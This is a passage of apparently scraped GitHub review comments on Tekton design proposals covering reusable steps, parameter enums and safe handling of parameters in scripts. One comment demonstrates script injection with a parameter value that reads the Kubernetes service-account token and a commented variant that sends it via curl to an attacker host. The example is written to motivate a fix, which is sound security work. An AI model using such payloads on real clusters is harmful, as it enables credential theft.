"2023-10-09T20:22:04Z", "line": 581, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "dibyom", "body": "This is a bit tricky - there are some volume/volumeMount use cases that are not covered by Workspaces: https://github.com/tektoncd/community/blob/main/teps/0112-replace-volumes-with-workspaces.md#volume-use-cases-supported-by-workspaces\r\n\r\nWe had considered adding functionality to workspaces for some of these use cases but decided not to do so given that the alternatives would be duplicating functionality or clunkier to use.\r\n\r\nWithout the `volumeMount` field, `StepAction` authors lose the ability to control where exactly a volume/workspace/disk/filesystem is mounted which may be necessary for the step to function correctly. (The actual volume/disk that is mounted could come from a Pod volume or a workspace). \r\n\r\nFor example, the cache needs to be mounted at `/workspace/.m2` for https://github.com/tektoncd/catalog/blob/537265eb583836f596f2a3a3ab3e3b904ae24013/task/jib-maven/0.4/jib-maven.yaml#L70-L73 and the certs need to be mounted at `/certs/client` for https://github.com/tektoncd/catalog/blob/537265eb583836f596f2a3a3ab3e3b904ae24013/task/docker-build/0.1/docker-build.yaml#L67-L69\r\n", "comment_id": 1355135775, "created_at": "2023-10-11T14:48:51Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "dibyom", "body": "yeah I'd really like to simplify the current resolver syntax with something similar to `stepRef: name:version@resolver` though I agree that is a separate proposal", "comment_id": 1355148164, "created_at": "2023-10-11T14:53:53Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Agreed! Resolving for now.", "comment_id": 1355690728, "created_at": "2023-10-11T19:47:15Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "As @wlynch pointed out as well that things like Context variables will also likely help reduce the verbosity since StepActions could potentially use them directly.\r\n\r\nI think there was general agreement that we can scope this as future work.\r\n\r\nResolving this for now.", "comment_id": 1355698772, "created_at": "2023-10-11T19:54:59Z", "line": 581, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "@vdemeester PTAL at this. It tries to address your feedback from [here](https://docs.google.com/document/d/1z2ME1o_XHvqv6cVEeElljvqVqHV8-XwtXdTkNklFU_8/edit?disco=AAAA7J6Zrh8).", "comment_id": 1355714833, "created_at": "2023-10-11T20:08:12Z", "line": 528, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "Yes. There is no change to do on the resolver's code from pipeline, etc.. But a resolver could definitely only resolve `Pipeline` or `Task` (and refuse resolving any other type requested). In any case, if need be, we'll modify those, it's not a problem \ud83d\ude09 ", "comment_id": 1356595437, "created_at": "2023-10-12T10:06:53Z", "line": 528, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "@chitrangpatel we have guidance in the [catalog docs](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments) and now [this TEP](https://github.com/tektoncd/community/pull/1077) too. \r\n\r\nI know we have this still in many examples, which we should fix (even though we still need to keep it somewhere for testing purposes), but I would like to avoid adding more examples. Could you please fix the example in the TEP?", "comment_id": 1360373168, "created_at": "2023-10-16T09:21:04Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "NIT: extra white line", "comment_id": 1360374283, "created_at": "2023-10-16T09:22:02Z", "line": 580, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Sounds good", "comment_id": 1360376345, "created_at": "2023-10-16T09:23:44Z", "line": 662, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "My proposal was to make it mandatory for referenced steps only, which would be backwards compatible, but I'm also fine with requiring it only when a result from a step is referenced, as in that case the task author will experience the need for a name. \r\n\r\nCould you add a note about this in the TEP?", "comment_id": 1360381661, "created_at": "2023-10-16T09:27:46Z", "line": 739, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "If a tool does not allow specifying the path to a folder they need it could be argued that's an issue in the tool. That said, I agree that, as Tekton, we may need to help users cope with those cases. \r\nI don't think we should promote a syntax where the `Task` author needs to use `volume` instead of `workspace` because that brings a runtime value (the actual name of the volume) into the authoring-time space.\r\n\r\nIf a `StepAction` needs a volume to be mounted at a special place, it could expose a parameter that provides the name of the volume, so that the step may additionally mount that volume on a different path. \r\n\r\n```yaml\r\napiVersion: tekton.dev/v1alpha1\r\nkind: StepAction\r\nmetadata:\r\n name: myStep\r\nspec:\r\n params:\r\n - name: registryConfigVolume\r\n description: the name of the volume with the registry configuration\r\n volumeMounts:\r\n - name: $(params.registryConfigVolume)\r\n mountPath: /registry-config\r\n image: ...\r\n script: ...\r\n---\r\napiVersion: tekton.dev/v1\r\nkind: Task\r\nmetadata:\r\n name: task-name\r\nspec:\r\n workspaces:\r\n - name: registry-config\r\n steps:\r\n - name: myStep\r\n ref:\r\n name: myStep\r\n params:\r\n - name: registryConfigVolume\r\n value: $(workspaces.registry-config.volume)\r\n```\r\n\r\nIn short, I'm ok with the `volumeMounts` field in steps as long as we don't suggest it be used together with `volume` in `Task`. Another possibility, for a more concise and specific syntax, could be:\r\n\r\n```yaml\r\napiVersion: tekton.dev/v1alpha1\r\nkind: StepAction\r\nmetadata:\r\n name: myStep\r\nspec:\r\n volumeMounts:\r\n - name: registryConfig\r\n description: the name of the volume with the registry configuration\r\n mountPath: /registry-config\r\n image: ...\r\n script: ...\r\n---\r\napiVersion: tekton.dev/v1\r\nkind: Task\r\nmetadata:\r\n name: task-name\r\nspec:\r\n workspaces:\r\n - name: registry-config\r\n steps:\r\n - name: myStep\r\n ref:\r\n name: myStep\r\n volumeMounts:\r\n - name: registryConfig\r\n volume: $(workspaces.registry-config.volume)\r\n```", "comment_id": 1360411272, "created_at": "2023-10-16T09:51:10Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Captured.", "comment_id": 1360685631, "created_at": "2023-10-16T13:41:21Z", "line": 739, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Thanks @afrittoli I think in the example, I basically did a similar thing as your first approach. We parametrize the name of the volume. \r\n\r\nWe can enforce that it is parametrized in a StepAction during validation. That way, we can make sure that the Task author can provide the appropriate tool (workspace or volume) during runtime. I will capture this in the TEP.", "comment_id": 1360696011, "created_at": "2023-10-16T13:48:17Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I updated the example to reflect your concerns and also noted that we **will** enforce that the name of the volumeMount is parametrized so that the Task can provide what it wants to during runtime.", "comment_id": 1360705713, "created_at": "2023-10-16T13:54:38Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Fixed!", "comment_id": 1360766907, "created_at": "2023-10-16T14:39:14Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Thanks for updating the example", "comment_id": 1364037796, "created_at": "2023-10-18T14:59:59Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "JeromeJu", "body": "Does this example imply that Task Enum take precedence over TaskRun embedded spec Enum?", "comment_id": 1339003166, "created_at": "2023-09-27T18:00:41Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "JeromeJu", "body": "Regarding security, wondering if enum is most effective with remote Task/Pipelines since for local Task/Pipelines the enums could be changed regardlessly?", "comment_id": 1339017123, "created_at": "2023-09-27T18:12:02Z", "line": 128, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Hi @JeromeJu, In this scenario, the Task user is the Task author, so this is like the task user specifies an enum for him/herself. However, if the enum is specified, the user provided value in TaskRun (v1.21) must be in the enum list (v1.21, v1.20, v1.19) to pass the validation, which is the same validation logic as described above.", "comment_id": 1342760466, "created_at": "2023-10-02T14:22:12Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "I think it can enhance both remote and local resources. Even with local resources, users can inject any random strings (code snippts, sql queries) if the param is not bounded, and the users do not necessarily need access to modify the Task.", "comment_id": 1342764406, "created_at": "2023-10-02T14:25:15Z", "line": 128, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "JeromeJu", "body": "Makes sense, thanks for the clarifications @QuanZhang-William ", "comment_id": 1342786744, "created_at": "2023-10-02T14:43:30Z", "line": 128, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "alternatively this can also be guarded using whenExpressions when used in a pipeline.\r\n\r\n```yaml\r\nwhen:\r\n - input: $(params.FORMAT)\r\n operator: in\r\n values: [\"oci\", \"docker\"]", "comment_id": 1357627137, "created_at": "2023-10-13T01:11:56Z", "line": 107, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "this might not be possible when a value is read from a task result. We have to be a little more explicit here instead of saying before running the pod. \r\n\r\nSuggest, splitting into two separate bullet points, one for taskRun and one for pipelineRun. ", "comment_id": 1357628872, "created_at": "2023-10-13T01:15:18Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "suggest adding a bit more info to `InvalidParamValue` - may be `ParamViolatesDataValidationRestriction`", "comment_id": 1357632065, "created_at": "2023-10-13T01:20:35Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "This does not provide much value and might create confusion", "comment_id": 1357634249, "created_at": "2023-10-13T01:24:11Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "What is the use case for such specification?", "comment_id": 1357635278, "created_at": "2023-10-13T01:25:54Z", "line": 240, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "pritidesai", "body": "Is `enum` restricted to optional params or required params or can be applied to both?", "comment_id": 1357636213, "created_at": "2023-10-13T01:27:53Z", "line": 137, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Thanks, @pritidesai for the input!\r\n\r\nYeah, I agree that this does not provide real value from usability point of view since the Task author is the Task user. \ud83d\udc4d \r\nAnd I think the same thing also applies to using [ParamSpec.Default](https://github.com/tektoncd/pipeline/blob/5d403c6f04ea9ada76f8c4392efb3b73ca332d8b/pkg/apis/pipeline/v1/param_types.go#L55) in embedded `TaskRun`, where there is no clear use case to specify a default value for myself.\r\n\r\nThe question is that should we fail the validation and treat such `TaskRuns` as invalid?\r\n\r\nFrom API **compatibility** perspective, we want to keep [taskrun.TaskSpec](https://github.com/tektoncd/pipeline/blob/5d403c6f04ea9ada76f8c4392efb3b73ca332d8b/pkg/apis/pipeline/v1/taskrun_types.go#L46C2-L47C48) and [Task.Spec](https://github.com/tektoncd/pipeline/blob/5d403c6f04ea9ada76f8c4392efb3b73ca332d8b/pkg/apis/pipeline/v1/task_types.go#L44C1-L46C29) compatible as they references the same [TaskSpec](https://github.com/tektoncd/pipeline/blob/5d403c6f04ea9ada76f8c4392efb3b73ca332d8b/pkg/apis/pipeline/v1/task_types.go#L78) struct, as we apply the same validation logic to `Taskrun.TaskSpec` and `Task.Spec`. So I'd say we can still treat it as a valid syntax and don't break this compatibility even though it is a bit redundant. \r\n\r\nFrom usability point perspective, I don't think it will really confuse users as this is an **optional** field, and I don't expect the author to specify such value at all for embedded TaskRuns.\r\n\r\nWDYT?\r\n\r\n", "comment_id": 1358783624, "created_at": "2023-10-13T20:15:05Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Yes \ud83d\udc4d ! And I think there are some difference between the two\r\n- The Param Enum in Task can be reused in any Pipelines\r\n- Syntax is more concise \r\n- The behaviour of dependent PipelineTasks are different between [skipping due to when expression](https://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#guarding-a-task-only) and Param enum\r\n\r\nI will add these differences in the TEP", "comment_id": 1358793859, "created_at": "2023-10-13T20:22:41Z", "line": 107, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Oh, good catch, thanks. I will split the 2 points.", "comment_id": 1358794242, "created_at": "2023-10-13T20:23:11Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "`ParamViolatesDataValidationRestriction` might be a bit too long, I am thinking to add the details in the `message` field instead of `Reason`?", "comment_id": 1358795404, "created_at": "2023-10-13T20:24:14Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "I think it is a reasonable ask to allow author to specify enums for optional params. I will update TEP to make it more explicit.", "comment_id": 1358797104, "created_at": "2023-10-13T20:26:42Z", "line": 137, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "I think supporting Param Enum at Pipeline level is an useful feature in general. (Here is a FR from Dashboard to support a drop-down list feature: https://github.com/tektoncd/dashboard/issues/2374)\r\n\r\n- With embedded Tasks, the use cases for a `Task` can also be applied to a `Pipeline`.\r\n- With remote/referenced Tasks, it provides more customization capability for the `Pipeline` author, as `Task` is a more reusable and generic unit, which is usually NOT customized for a specific `Pipeline` usage. For example:\r\n - As a pipeline using [gcs-create-bucket](https://github.com/tektoncd/catalog/tree/main/task/gcs-create-bucket/0.1), I want to further restrict the `StorageClass` to be `ARCHIVE` in this particular pipeline.\r\n - With an in-organization golang-build Task allowing X approved `golang` images, a pipeline using the task want to further restrict to a subset of X images, based on the version requirement from the feature/code to be built/tested.\r\n", "comment_id": 1358840473, "created_at": "2023-10-13T21:00:56Z", "line": 240, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "This discussion is also related to embedded PipelineRun and Pipeline with embedded Tasks", "comment_id": 1358861360, "created_at": "2023-10-13T21:21:44Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure I understand how this proposal helps in that sense, an ENUM is still a range of possible input values. The list of valid values is defined upfront but the actual value is not.", "comment_id": 1360543308, "created_at": "2023-10-16T11:54:27Z", "line": 56, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "afrittoli", "body": "Could you expand on this?\r\nDoes this mean the validation fails the `PipelineRun` upfront if the intersection is empty? \r\nCan a `Pipeline` allow for a param value that is not allowed by a `PipelineTask`? ", "comment_id": 1360550166, "created_at": "2023-10-16T12:00:42Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Yeah, this is correct. If we have the mechanism to have the valid values declared upfront and fail (not running) all the invalid values, I think it is one step closer to the Hermetic requirement.", "comment_id": 1360761085, "created_at": "2023-10-16T14:34:46Z", "line": 56, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Hi @afrittoli. Yeah, I have expanded the point below in the Pipeline using TaskRef or Embedded PipelineTask cases.\r\n\r\nYeah, it should fail the `PipelineTun` if the intersection is empty, but I think I need to make it more explicit that a Param without \"Enum\" refers to a set of all possible values (will update TEP to reflect it).\r\n\r\n=> So a `Pipeline` cannot allow a param value that is not allowed by PipelineTask.\r\n\r\n", "comment_id": 1360776222, "created_at": "2023-10-16T14:44:20Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "Yongxuanzhang", "body": "How do we handle array and object params? Should them be non-goals?\r\nIf we're thinking about security concerns, and we only add enum for string params, it is possible that for array params, there can be some malicious content injected? And referenced via array indexing?", "comment_id": 1360963546, "created_at": "2023-10-16T16:50:08Z", "line": 63, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Oh yes, I put the object/array params to the future work (as we don't have feature request for it at the moment), I will add it to here as well.\r\n\r\nAnd you are right around the security concerns. Supporting this feature does not provide any security promise, and it is just \"a step closer\" to hermecity/security ", "comment_id": 1361079138, "created_at": "2023-10-16T18:05:50Z", "line": 63, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "API WG update:\r\n\r\nAllowing enum and applying validation in Taskrun with inline TaskSpec is not \"harmful\" since this is an optional field. We will implement as designed to favor compatibility.\r\n\r\n(Will also add more explanation to the TEP)", "comment_id": 1361083241, "created_at": "2023-10-16T18:08:42Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "I've added a bit more information to address user confusion in the TEP, PTAL", "comment_id": 1361325587, "created_at": "2023-10-16T22:29:03Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Alternative added to TEP", "comment_id": 1361325721, "created_at": "2023-10-16T22:29:18Z", "line": 107, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "I've splitted the pipelinerun and taskrun scenario!", "comment_id": 1361326041, "created_at": "2023-10-16T22:29:54Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Added in the requirement that it will apply to both required and optional params!", "comment_id": 1361326387, "created_at": "2023-10-16T22:30:30Z", "line": 137, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Explained the scenario where enum is not specify in the param, PTAL!", "comment_id": 1361326707, "created_at": "2023-10-16T22:31:08Z", "line": null, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "QuanZhang-William", "body": "Added array/object param as non-goal.", "comment_id": 1361326882, "created_at": "2023-10-16T22:31:28Z", "line": 63, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "afrittoli", "body": "I'm afraid I still do not understand your point but never mind, definitely not blocking", "comment_id": 1365829836, "created_at": "2023-10-19T16:32:44Z", "line": 56, "path": "teps/0144-param-enum.md", "pr_number": 1072, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Sorry what does \"call `eval`\" mean here? ", "comment_id": 1344610856, "created_at": "2023-10-03T19:15:56Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Do we consider to implement this as a new feature gated by feature flag? Cluster operators can choose enable this feature to disallow insecure tasks. They can choose to continue use param injection ", "comment_id": 1344624898, "created_at": "2023-10-03T19:28:15Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "Yongxuanzhang", "body": "I'm not sure how to prevent attack vector injection by using Environment Variables. If there's an attack happening to inject malicious content to that param, that param will also be passed to the env var and there's no check in this process? ", "comment_id": 1344627079, "created_at": "2023-10-03T19:30:11Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Np, I should clarify this a bit - added a link to `eval` man page in the doc. This statement referencing calling `eval` is referring to the idea that it is possible that users actually want to be able to interpret the param value string as code (vs a string) and in such cases they can explicity use `eval` instead of relying on the fact that Tekton directly does string interpolation. \r\n\r\nMore information around the `eval` command can be found here:\r\nhttps://man7.org/linux/man-pages/man1/eval.1p.html", "comment_id": 1344662364, "created_at": "2023-10-03T19:59:37Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "I have added new sections w/ examples related to the security improvements and reliability improvements uses env vars has vs direct interpolation. These have some specific examples\r\n\r\nThe gist is that program environment variables are designed in such a way to have additional security around code injection:\r\n- https://mywiki.wooledge.org/BashProgramming/05#Environment_variables\r\n- https://www.redhat.com/en/blog/bash-specially-crafted-environment-variables-code-injection-attack", "comment_id": 1344667093, "created_at": "2023-10-03T20:04:18Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "An example from the new section, if you have something like:\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: echo-message-pipelinerun\r\nspec:\r\n pipelineRef:\r\n name: echo-message-pipeline\r\n params:\r\n - name: message\r\n value: \"$(echo $(cat /var/run/secrets/kubernetes.io/serviceaccount/token))\"\r\n # value: \"$(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))\"\r\n```\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: Task\r\nmetadata:\r\n name: echo-message-task\r\nspec:\r\n params:\r\n - name: message\r\n type: string\r\n description: The message to echo\r\n default: \"Hello, World!\"\r\n steps:\r\n - name: echo\r\n image: ubuntu\r\n script: |\r\n #!/bin/bash\r\n echo \"$(params.message)\"\r\n```\r\n\r\nIf you run this with tekton as it currently is, you will get an output like:\r\n```\r\n$ \r\n```\r\n\r\nBUT if you run this and instead of doing direct string interpolation you use an env var, you won't run injected code. For example, using my branch where I have implemented this solution, the example + log output below illustrate the difference:\r\n\r\n```\r\nkind: Task\r\nmetadata:\r\n name: echo-message-task\r\nspec:\r\n params:\r\n - name: message\r\n type: string\r\n description: The message to echo\r\n default: \"Hello, World!\"\r\n steps:\r\n - name: echo\r\n image: ubuntu\r\n script: |\r\n #!/bin/bash\r\n echo \"$(params.message)\" # <-- current default method of controller interpolation\r\n echo \"$$(params.message.env)\" # <-- proposed method of env var PARAM_MESSAGE interpolation\r\n ```\r\n \r\n`TaskRun` log output of attempted attack\r\n ```\r\n $ aprindle@aprindle-ssd ~/repro-params-scripts/string kubectl logs echo-message-pipelinerun-echo-message-pod \r\nDefaulted container \"step-echo\" out of: step-echo, prepare (init), place-scripts (init)\r\n # < -- BAD! (w/ old default)\r\n$(echo $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)) # <-- GOOD! (w/ proposed soln)\r\n ```\r\n\r\n", "comment_id": 1344694005, "created_at": "2023-10-03T20:22:50Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "This is a great point, I will update the doc to explain how the ability to toggle off the current default behaviour via a feature-gate could be helpful here and allow a goal/requirement here of making Tekton safe by default be more feasible for users. Will update this thread when I have completed adding this", "comment_id": 1344697979, "created_at": "2023-10-03T20:26:34Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 1344714831, "created_at": "2023-10-03T20:41:08Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Oh thanks a lot for the detailed explanations! Learned a lot \ud83d\ude04 ", "comment_id": 1344732683, "created_at": "2023-10-03T20:58:38Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "JeromeJu", "body": "Thanks @aaron-prindle for putting putting up the discussion. I noticed there are already discussions at https://github.com/tektoncd/community/pull/1077#discussion_r1344697979 on using feature gate to turn off the default behaviour. But I am afraid the existing feature has now been regarded as stable, and we might have to comply with the [API compatibility policy](https://github.com/tektoncd/pipeline/blob/main/api_compatibility_policy.md) for its deprecation cycle to keep both options available to users.", "comment_id": 1350667446, "created_at": "2023-10-09T18:29:37Z", "line": 423, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "JeromeJu", "body": "nit: /initial/inital /solution/soltuion", "comment_id": 1350683549, "created_at": "2023-10-09T18:41:24Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "JeromeJu", "body": "Also noticed in \r\n- \"During the inital creation of this feature, the user experience will not change as the original UX/functionality will be preserved.\" \r\n- \"At a later time or in an updated `apiVersion` (v2*),\"\r\n\r\nThese all SGTM. Wondering if we would like to call out explicitly that we'd wait till the end of the 9-month deprecation period?", "comment_id": 1350686172, "created_at": "2023-10-09T18:44:07Z", "line": 423, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "NIT: extra indentation?", "comment_id": 1360725079, "created_at": "2023-10-16T14:08:50Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "It would be nice to have such tooling indeed, maybe something that can detect issues and optionally attempt to fix them.", "comment_id": 1360732945, "created_at": "2023-10-16T14:14:29Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure we could disallow this by default in `v1` - it would be a backward incompatible change.\r\nBut we could provide a flag to let operator disallow params in scripts if they want to.", "comment_id": 1360735860, "created_at": "2023-10-16T14:16:33Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "This looks good, maybe we could have an example with non-bash (e.g. python) too?\r\nI just want to make sure that whatever solution we design, works across the different kinds of scripts we support.", "comment_id": 1360738285, "created_at": "2023-10-16T14:18:19Z", "line": 186, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "the `v1` API is out already - does this refer to Tekton Pipelines v1.x ?", "comment_id": 1360740345, "created_at": "2023-10-16T14:19:53Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "+1 on ease of use and possibly I would add verbosity.\r\n\r\nThe current proposed approach with environment variables works fine but is very verbose. To get some input from a pipeline into a script there are many levels of indirection: pipeline.param -> task.param -> step.env.variable -> env variable in script, which is both frustrating to write and maintain as well as using a lot of space in etcd.", "comment_id": 1360748575, "created_at": "2023-10-16T14:25:42Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "An alternative to mutating the step specification could be to inject the env in the `Pod`.\r\nWe could do that by default for all params by default.\r\n\r\nThere are some gotchas:\r\n- the translation from param name to env variable name risks being brittle\r\n- what happens in case of conflicts with user-defined environment variables or how do we prevent such conflicts\r\n- how do we handle array params? We added support for indexing into array params but how do we render the list into an environment variable that is usable by different kinds of script environments? Shall we use a JSON blob? That's not too bash-friendly but very python-friendly\r\n- how do we handle object params? Do we add one variable for each field? Or a single variable with a JSON blob?", "comment_id": 1360761601, "created_at": "2023-10-16T14:35:09Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "I guess this `.env` syntax is the proposed solution that will go into the design details?", "comment_id": 1360764987, "created_at": "2023-10-16T14:37:47Z", "line": 486, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "Oh, it's below in the alternatives, never mind.", "comment_id": 1360787818, "created_at": "2023-10-16T14:50:03Z", "line": 486, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "Files would hold JSON blobs similar to what we do for results I guess?\r\nProducing JSON with bash is not too bad, parsing it is a bit harder, but maybe we could provide some helper functions in a bash resource file mounted in a local folder.", "comment_id": 1360794274, "created_at": "2023-10-16T14:53:11Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "I think that for a script that uses many params, of different kind, this becomes a not-so-nice user experience. \r\nPerhaps we could provide some help script?\r\n\r\n```\r\n script: |\r\n source /tekton/params/.helpers \r\n git clone $(fromParams url)\r\n```", "comment_id": 1360803805, "created_at": "2023-10-16T14:58:15Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "How would this work for array/object params?", "comment_id": 1360806844, "created_at": "2023-10-16T14:59:48Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "If we did fail validation, we would then basically not support them at all, which would be a backwards incompatible change. We could do that in `v2`, for `v1` we might do that as an opt-in feature or a warning system - even though validation in itself does not have any facility for deprecations or warnings that I'm aware of, so it's unclear how the warning could be delivered to the user", "comment_id": 1360813477, "created_at": "2023-10-16T15:02:57Z", "line": 663, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "afrittoli", "body": "Does this assume that one of the alternatives has been chosen?\r\nWhat does the `params..env` refers to, is this the \"Combine Elements of Both Explicit Environment Variable and Filesystem Projection Solutions\" alternative?", "comment_id": 1360820614, "created_at": "2023-10-16T15:06:22Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "vdemeester", "body": "The last 2 questions of @afrittoli are also valid independently of \"mutating the step spec\" or not, right ?", "comment_id": 1368450427, "created_at": "2023-10-23T10:23:04Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "vdemeester", "body": "> Wondering if we would like to call out explicitly that we'd wait till the end of the 9-month deprecation period?\r\n@JeromeJu where would this one apply ? ", "comment_id": 